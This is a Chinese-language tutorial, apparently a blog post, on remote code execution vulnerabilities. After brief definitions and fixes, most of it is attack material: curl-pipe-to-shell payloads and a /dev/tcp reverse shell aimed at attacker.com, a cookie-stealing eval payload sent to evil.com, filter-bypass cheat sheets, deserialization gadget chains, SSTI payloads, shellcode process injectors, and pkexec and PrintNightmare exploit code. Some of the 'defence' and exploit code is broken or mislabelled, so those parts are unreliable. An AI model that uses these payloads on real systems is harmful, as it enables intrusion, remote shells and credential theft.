版权声明与原创承诺
本文所有文字、实验方法及技术分析均为 本人原创作品,受《中华人民共和国著作权法》保护。未经本人书面授权,禁止任何形式的转载、摘编或商业化使用。
道德与法律约束
文中涉及的网络安全技术研究均遵循 合法合规原则:
1️⃣ 所有渗透测试仅针对 本地授权靶机环境
2️⃣ 技术演示均在 获得书面授权的模拟平台 完成
3️⃣ 坚决抵制任何未授权渗透行为
技术资料获取
如需完整实验代码、工具配置详解及靶机搭建指南:
👉 请关注微信公众号 「零日破晓」
后台回复关键词 【博客资源】 获取独家技术文档包
法律追责提示
对于任何:
✖️ 盗用文章内容
✖️ 未授权转载
✖️ 恶意篡改原创声明
本人保留法律追究权利。
一、RCE漏洞核心定义
远程代码执行(Remote Code Execution, RCE)是一种高危安全漏洞,其核心在于攻击者通过构造恶意输入,绕过目标系统的安全防护机制,直接触发系统或应用程序执行任意代码。这种漏洞的本质是应用程序对用户输入的校验、过滤或权限控制存在缺陷,导致攻击者能够将恶意代码注入到系统的执行流程中。
1. RCE漏洞的本质
关键特征:
远程性:攻击者无需物理接触或本地权限,通过远程网络即可触发漏洞。
任意性:可执行任意代码(如系统命令、脚本、恶意函数等),完全控制目标系统。
隐蔽性:攻击代码可能伪装成正常请求,难以被传统防护手段识别。
2. RCE漏洞的成因
RCE漏洞的产生通常与以下技术场景相关:
①输入验证不足:应用程序未对用户输入进行严格的合法性校验(如白名单过滤、特殊字符转义),导致恶意输入被直接处理。
②危险函数滥用:使用未受控的函数执行系统命令或代码,例如:
PHP:eval()、system()、exec()、passthru()、shell_exec()。
// 未过滤用户输入直接执行系统命令
$ip = $_GET['ip'];
system("ping -c 4 " . $ip); // 攻击者可注入 ;rm -rf /
Python:os.system()、subprocess.run()。
Java:Runtime.exec()。
// 反序列化漏洞触发代码执行
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.readObject(); // 未校验反序列化数据,触发恶意代码
③逻辑设计缺陷:如未处理反序列化漏洞、文件包含漏洞,或未限制用户权限的接口暴露。
④第三方组件风险:依赖存在已知漏洞的库或框架(如Log4j、ThinkPHP),攻击者可通过组件漏洞实现代码执行。
3. RCE与其他漏洞的关系
RCE的定义存在广义与狭义之分:
狭义RCE:特指通过代码注入(如PHP的eval())直接执行恶意代码。
广义RCE:包括所有能导致远程代码执行的漏洞类型,例如:
①命令注入:通过拼接恶意命令参数触发(如system("ping ".$_GET['ip']))。
②反序列化漏洞:利用恶意序列化数据触发代码执行(如Java的ObjectInputStream)。
③文件包含漏洞:通过包含恶意文件间接执行代码。
4. RCE漏洞的典型利用场景
①Web应用:通过表单提交、URL参数或API接口注入恶意代码(如文件上传后触发WebShell)。
②网络设备:利用管理接口的命令注入漏洞(如路由器、防火墙的Ping接口)。
③物联网设备:通过固件漏洞或弱认证接口执行远程命令。
④云服务:攻击云主机或容器化应用的API接口实现横向渗透。
5. RCE漏洞的危害等级
RCE被普遍列为最高危漏洞(CVSS评分9.8-10.0),其危害包括:
①完全控制目标系统:攻击者可窃取数据、植入后门、破坏服务。
②横向渗透:以受控主机为跳板攻击内网其他系统。
③数据泄露与篡改:访问敏感信息(如用户凭证、数据库)或修改关键配置。
6.关键特征矩阵详解
| 维度 | 说明 | 典型代码示例 | 攻击流程图示(文字描述) |
| 执行位置 | 目标服务器或应用系统(如Web服务器、数据库、云主机) | $cmd = $_GET['cmd']; system($cmd); // 直接执行用户输入的命令 | [攻击者] → [恶意输入] → [目标系统执行环境] |
| 权限级别 | 应用运行权限(如Web用户www-data/系统用户root) | Process p = Runtime.getRuntime().exec("sudo rm -rf /"); // 以root权限执行高危命令 | [低权限进程] → [提权操作] → [高权限执行] |
| 触发方式 | 网络请求、文件解析、反序列化、模板渲染等 | # Jinja2模板注入 {{ config.__class__.__base__.__subclasses__()[X].load_module('os').system('id') }} | [输入点] → [漏洞触发点] → [代码执行链] |
| 代码类型 | 系统命令(Bash/PowerShell)、脚本语言(PHP/Python)、字节码(Java) | // 反序列化漏洞 ObjectInputStream ois = new ObjectInputStream(inputStream); ois.readObject(); // 加载恶意类 | [恶意输入] → [解析引擎] → [代码加载与执行] |
①执行位置:Web服务器环境
攻击示例(PHP命令注入):
// 漏洞代码:直接拼接用户输入到系统命令
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
攻击载荷:http://example.com/ping.php?ip=127.0.0.1;cat%20/etc/passwd
防御方案:
// 使用escapeshellarg过滤参数
$safe_ip = escapeshellarg($_GET['ip']);
system("ping -c 4 " . $safe_ip);
②权限级别:系统用户权限
攻击示例(Java反序列化提权):
// 漏洞代码:未校验反序列化数据
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
ois.readObject(); // 加载恶意类(如利用CommonsCollections链)
防御方案:
// 漏洞代码:未校验反序列化数据
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
ois.readObject(); // 加载恶意类(如利用CommonsCollections链)
③触发方式:文件解析漏洞
攻击示例(PHP文件包含):
// 漏洞代码:用户可控文件路径
include($_GET['page'] . '.php');
攻击载荷:http://example.com/index.php?page=../../etc/passwd
防御方案:
// 白名单限制文件路径
$allowed_pages = ['home', 'about'];
if (in_array($_GET['page'], $allowed_pages)) {
include($page . '.php');
}
④代码类型:脚本语言注入
攻击示例(Python模板注入):
# Flask SSTI漏洞
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
name = request.args.get('name', 'World')
return render_template_string('{{ self.__init__.__globals__.__builtins__.os.popen(name).read() }}')
攻击载荷:/?name=id
防御方案:
# 使用Jinja2沙箱模式
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}!")
攻击流程图示(Mermaid语法)

实战案例:Log4j2 RCE(CVE-2021-44228)
漏洞原理:JNDI注入触发远程代码加载
攻击载荷:${jndi:ldap://attacker.com/exploit}
防御方案:
1. 升级Log4j至2.17.0+
2. 禁用JNDI远程加载:
-Dlog4j2.formatMsgNoLookups=true
二、漏洞原理深度解析
1. 根本原因模型
漏洞的核心本质是 “用户输入未被安全处理即进入代码执行环境”,其流程可抽象为:

该模型的关键风险点在于:用户可控输入与代码执行的边界被打破,导致攻击者能够注入恶意内容并最终被执行。
2. 核心漏洞点分类(含代码、图示及攻防细节)
2.1 命令注入漏洞(Command Injection)
触发机制:直接将用户输入拼接到系统命令中,未对特殊字符(如 ;、|、&&、$() 等)进行过滤或转义。
典型场景:调用系统命令的函数(如 system()、exec()、shell_exec()、os.system())。
代码层面分析
漏洞代码(PHP):
$filename = $_GET['file']; // 用户输入直接拼接
system("cat $filename"); // 未过滤特殊字符
攻击者输入 file=passwd; rm -rf /,实际执行命令为 cat passwd; rm -rf /,导致系统文件被删除。
修复代码:
$filename = escapeshellarg($_GET['file']); // 使用转义函数
system("cat $filename");
图示攻击流程

2.2 反序列化漏洞(Deserialization Vulnerability)
触发机制:反序列化过程中,恶意构造的序列化数据包含可触发代码执行的逻辑(如魔术方法 __reduce__、__wakeup)。
典型场景:Java ObjectInputStream.readObject()、Python pickle.loads()、.NET BinaryFormatter.Deserialize()。
代码层面分析(Python Pickle反序列化)
漏洞代码:
import pickle
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('whoami',)) # 反序列化时执行os.system('whoami')
payload = pickle.dumps(MaliciousPayload())
# 攻击者构造payload后,诱导服务器执行pickle.loads(payload)
修复代码:
使用安全的序列化库(如JSON)替代 pickle,或对反序列化数据进行签名校验。
图示攻击流程

2.3 模板注入漏洞(Template Injection)
触发机制:模板引擎解析用户输入时,未禁止危险表达式(如 {{ system('ls') }}),导致模板代码被动态执行。
典型场景:Jinja2(Python)、Freemarker(Java)、Thymeleaf(Spring)。
代码层面分析(Jinja2模板注入)
漏洞代码(Flask框架):
from flask import Flask, render_template_string
@app.route('/search')
def search():
user_input = request.args.get('query')
return render_template_string("搜索结果:{{ query }}", query=user_input) # 未过滤模板语法
# 攻击者输入:query={{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}
修复代码:
禁用危险标签/过滤器,或使用白名单校验输入。
return render_template_string("搜索结果:{{ query|safe }}", query=escape(user_input))
图示攻击流程

2.4 动态代码执行漏洞(Dynamic Code Execution)
触发机制:直接调用解释器执行字符串代码(如 eval()、exec()、Function()、new Function())。
典型场景:JavaScript eval()、Python eval()、PHP assert()。
代码层面分析(JavaScript eval注入)
漏洞代码:
let userInput = document.getElementById("input").value;
eval("const result = " + userInput); // 未过滤用户输入
// 攻击者输入: x; fetch('https://evil.com/?data='+document.cookie)
修复代码:
避免使用 eval(),改用安全的解析方式(如JSON.parse)。
try {
const data = JSON.parse(userInput);
} catch (e) {
// 错误处理
}
图示攻击流程

2.5 文件包含漏洞(File Inclusion Vulnerability)
触发机制:通过动态加载文件路径(如 include()、require()、include_once()),用户输入控制文件名或路径。
典型场景:PHP include($_GET['page'])、JSP <jsp:include page="${param.page}"/>。
代码层面分析(PHP本地文件包含)
漏洞代码:
$page = $_GET['page']; // 用户输入直接作为文件路径
include($page . '.php'); // 未验证路径合法性
// 攻击者输入: page=../../../etc/passwd%00 (利用NULL字节截断)
修复代码:
白名单校验文件路径,禁止目录遍历。
$allowed_pages = ['home', 'about', 'contact'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
die('非法请求');
}
图示攻击流程

三、攻击手法全解
一、命令注入攻击(Command Injection)全解
1. 攻击链深度剖析
participant A as 攻击者 participant W as Web应用 participant S as OS Shell participant K as 内核 participant F as 文件系统 A->>W: 发送恶意请求: ?file=legit.txt;curl${IFS}attacker.com/shell.sh|sh Note right of W: 漏洞代码:<br/>system("cat "+user_input) W->>S: 执行命令: sh -c "cat legit.txt;curl attacker.com/shell.sh|sh" S->>K: 系统调用: fork() + execve() K->>S: 返回PID S->>K: 网络连接请求(端口80) K->>F: 创建/tmp/.x.sh F-->>K: 文件创建成功 S->>K: 执行sh /tmp/.x.sh K->>S: 执行结果 S->>W: 命令输出 W->>A: HTTP响应(包含敏感信息) Note over K: 关键步骤:<br/>1. 命令分隔符解析(;)<br/>2. 管道符执行(|)<br/>3. 环境变量利用(${IFS})<br/>4. 远程代码下载执行
2. 操作系统特异性攻击手法
Linux/Unix系统:
# 基础注入
; id;
# 复杂利用
`{echo,cGluZyAxOTIuMTY4LjEuMQ==}|{base64,-d}|{bash,-i}`
# 无文件攻击
exec 3<>/dev/tcp/attacker.com/4444; cat <&3 | while read line; do $line 2>&3; done
# 环境变量利用
${PATH:0:1}bin${PATH:0:1}sh -c "whoami"
Windows系统:
# 基础注入
ping | whoami
# 编码绕过
certutil -f -decode payload.b64 payload.exe & payload.exe
# 无符号命令执行
set /p=<!DOCTYPE html^><^html^><^body^><^script^>new ActiveXObject("WScript.Shell").Run("calc.exe");<^/script^><^/body^><^/html^> > %TEMP%\p.html & start %TEMP%\p.html
# COM对象利用
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c calc");
3. 高级绕过技术
字符过滤绕过矩阵:
| 过滤项 | 绕过技术 | 示例 |
| 空格 | IFS变量、${IFS}、{cat,/etc/passwd}、%09(TAB) | cat${IFS}/etc/passwd |
| 斜杠 | 通配符、环境变量、八进制编码 | /???/?at /etc/passwd |
| 关键字 | 反斜杠插入、变量拼接、编码 | c\at /etc/passwd |
| 引号 | 十六进制编码、变量扩展、$@ | echo$@ 414243 xxd -r -p |
| 管道符 | %0a(换行)、%0d(回车)、tee、重定向 | echo id %3E /tmp/out |
| 美元符 | 格式控制符、变量扩展 | echo `whoami` |
动态Payload生成:
import base64
def generate_payload(cmd):
# 随机选择绕过技术
techniques = [
f"${{printf,$(base64 -d<<<'{base64.b64encode(cmd.encode()).decode()}')}}",
f"eval $(echo {cmd} | xxd -p -r)",
f"python -c 'import os; os.system(\"{cmd}\")'"
]
return random.choice(techniques)
# 生成: ${printf,$(base64 -d<<<ZWNobyAiSGVsbG8gV29ybGQi)}}
print(generate_payload('echo "Hello World"'))
二、反序列化攻击深度解析
1. Java反序列化利用链

完整利用链示例(CommonsCollections6):
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
// 反射设置val字段
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(obj, entry);
// 序列化对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
2. .NET反序列化攻击
BinaryFormatter利用:
using (MemoryStream ms = new MemoryStream())
{
BinaryFormatter formatter = new BinaryFormatter();
// 构造恶意TypeConfuseDelegate
SortedSet<string> set1 = new SortedSet<string>(new Comparer());
SortedSet<string> set2 = new SortedSet<string>(new Comparer());
set1.Add("cmd");
set1.Add("/c calc.exe");
set2.Add("cmd");
set2.Add("/c notepad");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = set1.Comparer.GetType()
.GetField("_comparer", BindingFlags.NonPublic | BindingFlags.Instance)
.GetValue(set1.Comparer) as object[];
fi.SetValue(invoke_list[1],
set2.Comparer.GetType()
.GetField("_comparer", BindingFlags.NonPublic | BindingFlags.Instance)
.GetValue(set2.Comparer));
formatter.Serialize(ms, set1);
// 发送恶意payload
byte[] payload = ms.ToArray();
SendToTarget(payload);
}
3. Python Pickle反序列化
高级利用技术:
import pickle
import base64
import types
class Exploit:
def __reduce__(self):
# 使用字节码加载技术绕过检测
return (types.FunctionType,
(types.CodeType(0,0,0,0,0,b'K\x00\x84\x00Z\x00d\x00\x89\x00'),
{}, (), (), ""))
@staticmethod
def __setstate__(state):
import os
os.system('curl attacker.com/shell | sh')
# 生成绕过WAF的payload
payload = pickle.dumps({
"__class__": {
"__reduce__": lambda: (exec, ("import os; os.system('id')",))
}
}, protocol=4)
三、模板注入攻击(SSTI)高级技术
1. 多语言SSTI利用矩阵
| 引擎 | 探测Payload | RCE Payload |
| Jinja2 | `{{7*'7'}}` → 7777777 | {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} |
| Twig | `{{7*7}}` → 49 | {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}} |
| Freemarker | `${7*7}` → 49 | <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("whoami") } |
| Velocity | `#set($x=7*7)` | #set($str=$x.getClass().forName("java.lang.String")) |
| Thymeleaf | `${7*7}` → 49 | __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x |
2. 沙箱逃逸技术
Python沙箱逃逸:
# 基础绕过
{{ ''.__class__.__mro__[1].__subclasses__()[376]('id',shell=True) }}
# 无数字绕过
{{ (request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f'))['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os').popen('id').read() }}
# 全字符限制绕过
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{% set cmd = chr(105)%2bchr(100) %}
{{ config.__class__.__init__.__globals__['os'].popen(cmd).read() }}
Java模板引擎沙箱逃逸:
// FreeMarker高级利用
<#assign classLoader=object?object.class.classLoader>
<#assign clazz=classLoader.loadClass("sun.misc.Unsafe")>
<#assign field=clazz.getDeclaredField("theUnsafe")>
<#assign unsafe=field.get(null)>
<#assign offset=unsafe.objectFieldOffset(classLoader.findClass("java.lang.Thread").getDeclaredField("threadLocals"))>
<#assign thread=unsafe.getObject(Thread.currentThread(),offset)>
<#assign table=unsafe.getObject(thread,12)>
<#assign entry=unsafe.getObject(table,16)>
<#assign context=unsafe.getObject(entry,8)>
<#assign writer=context.get("writer")>
<#assign writerClass=writer.class>
<#assign out=writerClass.getDeclaredField("out")>
<#assign output=out.get(writer)>
<#assign outputClass=output.class>
<#assign target=outputClass.getSuperclass().getDeclaredField("target")>
<#assign realOutput=target.get(output)>
<#assign realOutputClass=realOutput.class>
<#assign writeMethod=realOutputClass.getDeclaredMethod("write", [].class)>
${writeMethod.invoke(realOutput, [104,101,108,108,111])}
四、新型RCE攻击手法
1. WebAssembly内存攻击
// 恶意wasm模块
__attribute__((export_name("run")))
void run() {
// 系统调用注入
__syscall3(SYS_execve, (uint32_t)"/bin/sh", (uint32_t)argv, 0);
}
// JavaScript加载
WebAssembly.instantiateStreaming(fetch('malicious.wasm'))
.then(obj => {
obj.instance.exports.run();
});
2. 服务器端原型污染链
// Node.js原型污染+RCE
const merge = (target, source) => {
for (let key in source) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// 恶意输入
const malicious = JSON.parse('{"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=0.0.0.0:1337"}}');
merge({}, malicious);
// 触发子进程执行
require('child_process').spawn('echo', ['RCE']);
3. GPU计算漏洞利用
// CUDA内核RCE示例
__global__ void malicious_kernel() {
asm volatile(
"movq $0x68732f6e69622f, %%rdi;" // /bin/sh
"push %%rdi;"
"movq %%rsp, %%rdi;"
"xorq %%rsi, %%rsi;"
"xorq %%rdx, %%rdx;"
"movq $59, %%rax;" // execve syscall
"syscall;"
: : : "rdi", "rsi", "rdx", "rax"
);
}
int main() {
malicious_kernel<<<1,1>>>();
cudaDeviceSynchronize();
return 0;
}
五、防御绕过技术精粹
1. 命令注入绕过工具箱
def generate_obfuscated_cmd(cmd):
"""生成混淆的命令注入payload"""
encodings = [
lambda s: ''.join(['\\x{:02x}'.format(ord(c)) for c in s]),
lambda s: base64.b64encode(s.encode()).decode(),
lambda s: ''.join(['${printf "' + '%03o' % ord(c) + '"} ' for c in s]),
lambda s: ''.join(['$@' for _ in s]) + " <<<" + s
]
# 随机选择3种混淆技术
selected = random.sample(encodings, 3)
result = cmd
for func in selected:
result = func(result)
return result
# 生成: $@$@$@$@$@$@$@$@$@$@ <<< $(printf "\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144")
print(generate_obfuscated_cmd("cat /etc/passwd"))
2. 反序列化绕过技术
// Java反序列化高级绕过
public class AdvancedGadget implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream ois) throws Exception {
// 反射绕过安全管理器
Field f = Class.forName("java.lang.ClassLoader")
.getDeclaredField("parallelLockMap");
f.setAccessible(true);
ConcurrentHashMap map = (ConcurrentHashMap) f.get(null);
// 注入自定义类加载器
map.put(this.getClass().getClassLoader(), new Object());
// 使用Unsafe加载恶意类
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Object unsafe = theUnsafe.get(null);
Method defineClass = unsafeClass.getMethod("defineClass",
String.class, byte[].class, int.class, int.class,
ClassLoader.class, ProtectionDomain.class);
byte[] evilClass = Files.readAllBytes(Paths.get("EvilClass.class"));
Class evil = (Class) defineClass.invoke(unsafe, null, evilClass,
0, evilClass.length, null, null);
evil.newInstance();
}
}
六、攻击检测与取证
1. RCE攻击痕迹检测点

2. 高级检测规则示例
# Sigma规则示例
detection:
selection:
EventID: 4688 # Windows进程创建
CommandLine|contains:
- '*;*'
- '*&*'
- '*|*'
- '*`*'
- '*$(*)*'
- 'certutil*'
- '* -decode *'
filter:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\bash.exe'
condition: selection and not filter
四、操作系统层面攻击剖析
一、Linux系统命令注入高阶技术
1.1 命令分隔符的深层利用

实际攻击示例:
# 多重分隔符组合攻击
curl${IFS}attacker.com/mal.sh;chmod${IFS}+x${IFS}mal.sh&&./mal.sh|sh
# 时间盲注攻击(无回显)
ping${IFS}-c${IFS}4${IFS}127.0.0.1${IFS}&&sleep${IFS}$(if${IFS}[${IFS}$(id${IFS}-u)${IFS}-eq${IFS}0${IFS}];${IFS}then${IFS}echo${IFS}10;${IFS}else${IFS}echo${IFS}1;${IFS}fi)
1.2 环境变量高级利用
# 通过环境变量执行命令
${PATH:0:1}bin${PATH:0:1}sh${IFS}-c${IFS}"whoami"
# 环境变量编码攻击
export${\u0063\u006d\u0064}="curl${IFS}attacker.com/shell"
eval${IFS}$cmd
# 环境变量覆盖PATH
export${IFS}PATH=/tmp:$PATH
echo${IFS}'echo${IFS}pwned'>/tmp/ls
chmod${IFS}+x${IFS}/tmp/ls
ls # 执行恶意命令
1.3 通配符深度利用
# 文件泄露攻击
cat${IFS}/???/pass* # 等价于 cat /etc/passwd
# 命令参数注入
find${IFS}/${IFS}-name${IFS}*.log${IFS}-exec${IFS}sh${IFS}-c${IFS}"echo${IFS}HACKED>>{}"${IFS}\;
# 通配符编码绕过
/???/b??${IFS}/???/p??swd # /bin/cat /etc/passwd
1.4 无字母数字RCE(仅用$(){})
# 生成"id"命令
_=$(($$/$$)) # 得到1
__=${_}{_,} # 1{_,} => 1_ 1,
___=${__:1:1} # 得到_
____=${___}$(($$/$$))${___} # _1_
_____=${____:1:1} # 得到1
______=${_____}$(($$/$$)) # 11
_______=${______}$(($$/$$)) # 111
# 构造"id"字符串
${_______::1} = "1" -> 八进制151 -> 字符"i"
${_______::2} = "11" -> 八进制151151 -> 字符"d"
$(echo${IFS}-e${IFS}"\151\144") # 最终执行id命令
二、Windows系统命令注入高阶技术
2.1 命令分隔符深度利用

实际攻击示例:
:: 多重分隔符组合
ping%0a%COMSPEC%+/c+whoami&dir||calc
:: 时间盲注攻击
ping -n 4 127.0.0.1 && if %USERNAME%==Administrator (timeout /t 10) else (timeout /t 1)
2.2 环境变量高级利用
REM 环境变量切割
%ProgramData:~0,3% => "C:\"
REM 构造命令
set a=net
set b= user
set c= hacker /add
%a%%b%%c%
REM Unicode绕过
%coMSPeC% /c whoami
2.3 Windows特有技术
:: WMIC命令执行
wmic process call create "cmd.exe /c whoami > C:\output.txt"
:: Rundll32执行
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c calc");
:: Mshta执行
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run""cmd.exe /c whoami"",0:close")
:: InstallUtil绕过
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\payload.dll"
三、内存注入攻击技术
3.1 Linux进程注入
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
// 恶意Shellcode (execve("/bin/sh"))
char shellcode[] =
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53"
"\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main() {
// 创建可执行内存页
void *mem = mmap(NULL, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
// 复制Shellcode
memcpy(mem, shellcode, sizeof(shellcode));
// 类型转换并执行
void (*func)() = (void (*)())mem;
func();
return 0;
}
3.2 Windows进程注入
#include <windows.h>
int main() {
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
// 创建挂起进程
CreateProcessA(NULL, "notepad.exe", NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Shellcode: MessageBoxA
unsigned char shellcode[] = {
0x48,0x83,0xEC,0x28,0x48,0x31,0xC0,0x65,0x48,0x8B,0x80,0x60,0x00,0x00,0x00,0x48,
0x8B,0x40,0x18,0x48,0x8B,0x70,0x20,0x48,0xAD,0x48,0x96,0x48,0xAD,0x48,0x8B,0x58,
0x20,0x4D,0x31,0xC9,0x4C,0x89,0xCA,0x48,0x83,0xC2,0x3C,0x48,0x31,0xF6,0x44,0x8B,
0x1A,0x4C,0x01,0xDA,0x4C,0x89,0xD1,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,
0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x39,0xCB,0x75,
0xE0,0x48,0x31,0xD2,0x48,0x31,0xC0,0x50,0x48,0xB8,0x57,0x69,0x6E,0x45,0x78,0x65,
0x63,0x00,0x50,0x48,0x89,0xE2,0x48,0x31,0xC9,0x48,0x83,0xC1,0x30,0x48,0x31,0xC0,
0xAC,0x04,0x01,0x3C,0x01,0x75,0xF7,0x48,0xFF,0xC9,0x48,0x31,0xF6,0x56,0x48,0x89,
0xE6,0x48,0x31,0xD2,0x4D,0x31,0xC0,0x4D,0x31,0xC9,0x48,0x83,0xEC,0x20,0xFF,0xD0
};
// 在目标进程分配内存
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 写入Shellcode
WriteProcessMemory(pi.hProcess, remoteMem, shellcode, sizeof(shellcode), NULL);
// 修改线程上下文
CONTEXT ctx;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD_PTR)remoteMem;
SetThreadContext(pi.hThread, &ctx);
// 恢复线程执行
ResumeThread(pi.hThread);
return 0;
}
四、操作系统防御机制绕过技术
4.1 Linux防御绕过

实际绕过示例:
# NX绕过:Return-to-libc
(python -c 'print "A"*76 + "\xf0\xae\xe4\xf7" + "AAAA" + "\x1f\x92\xe3\xf7"'; cat) | ./vuln_program
# Seccomp绕过:使用允许的系统调用
# 假设只允许read/write
# 使用open->read->write泄露文件
asm(
"mov $2, %rax;"
"lea file(%rip), %rdi;"
"syscall;"
"mov %rax, %rdi;"
"mov $0, %rsi;"
"mov $0, %rdx;"
"mov $0, %rax;"
"syscall;"
"mov $1, %rdi;"
"mov %rax, %rsi;"
"mov $100, %rdx;"
"mov $1, %rax;"
"syscall;"
"file: .asciz \"/etc/passwd\""
)
4.2 Windows防御绕过

实际绕过示例:
// DEP绕过:ROP链构造
rop_chain = [
kernel32_base + 0x0002c10c, // POP EAX; RET
0x90909090,
kernel32_base + 0x0001a1fc, // POP ECX; RET
address_of_writable_memory,
kernel32_base + 0x0002d4a4, // MOV [ECX], EAX; RET
// 设置VirtualProtect参数
kernel32_base + 0x0002c10c, // POP EAX; RET
(DWORD) &VirtualProtect,
// 调用VirtualProtect
kernel32_base + 0x0001f075 // CALL EAX
];
// 执行Shellcode
memcpy(address_of_writable_memory, shellcode, shellcode_size);
jmp_to_shellcode();
五、内核级攻击技术
5.1 Linux内核漏洞利用
// CVE-2021-4034 pkexec本地提权漏洞利用
#include <unistd.h>
int main() {
char *argv[] = { NULL };
char *envp[] = {
"pwnkit",
"PATH=GCONV_PATH=.",
"SHELL=/does/not/exist",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
// 创建恶意GCONV_PATH
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
system("gcc -shared -fPIC -o pwnkit/pwnkit.so exploit.c");
// 触发漏洞
execve("/usr/bin/pkexec", argv, envp);
return 0;
}
5.2 Windows内核漏洞利用
// CVE-2021-34527 PrintNightmare
#include <windows.h>
#include <winspool.h>
int exploit() {
// 加载恶意DLL
HANDLE hPrinter = NULL;
PRINTER_DEFAULTS pd = { NULL, NULL, PRINTER_ALL_ACCESS };
// 打开打印机服务
OpenPrinterA("\\\\127.0.0.1", &hPrinter, &pd);
// 设置打印机驱动
DRIVER_INFO_3 di;
memset(&di, 0, sizeof(di));
di.cVersion = 3;
di.pName = "Pentest";
di.pEnvironment = "Windows x64";
di.pDriverPath = "C:\\Windows\\System32\\kernelbase.dll";
di.pDataFile = "\\\\attacker.com\\share\\malicious.dll";
di.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
// 添加恶意驱动
AddPrinterDriverExA(NULL, 3, (LPBYTE)&di, APD_COPY_ALL_FILES);
return 0;
}
五、攻击类型矩阵
1.攻击类型全景矩阵

2.超详细攻击类型矩阵
| 攻击类型 | 技术特点 | 利用场景 | 检测难度 | 危害等级 | 典型漏洞案例 |
| 直接命令执行 | 简单命令拼接 无复杂依赖 即时执行 | Web应用漏洞 API接口滥用 系统服务暴露 | ★☆☆☆☆ | ★★★☆☆ | CVE-2014-6271(Shellshock) CVE-2021-44228(Log4j) |
| 盲注型RCE | 无回显输出 隐蔽数据外带 时间延迟探测 | WAF防护严格场景 内部系统渗透 无交互环境 | ★★★☆☆ | ★★★★☆ | CVE-2017-9805(Struts2) CVE-2019-11510(Pulse VPN) |
| 内存型RCE | 无文件落地 直接内存加载 规避文件扫描 | EDR防护环境 容器环境 高级威胁攻击 | ★★★★☆ | ★★★★★ | CVE-2021-1675(PrintNightmare) CVE-2021-34473(ProxyShell) |
| 链式组合RCE | 多漏洞组合 权限提升链 环境依赖突破 | 纵深防御环境 权限隔离系统 云原生环境 | ★★★★★ | ★★★★★ | CVE-2021-26855(ProxyLogon) CVE-2021-34527(PrintNightmare) |
| 持久化RCE | 长期驻留 自动复活 多入口点 | 高级持续威胁 供应链攻击 后门植入 | ★★☆☆☆ | ★★★★★ | 超级火焰病毒 SolarWinds后门 |
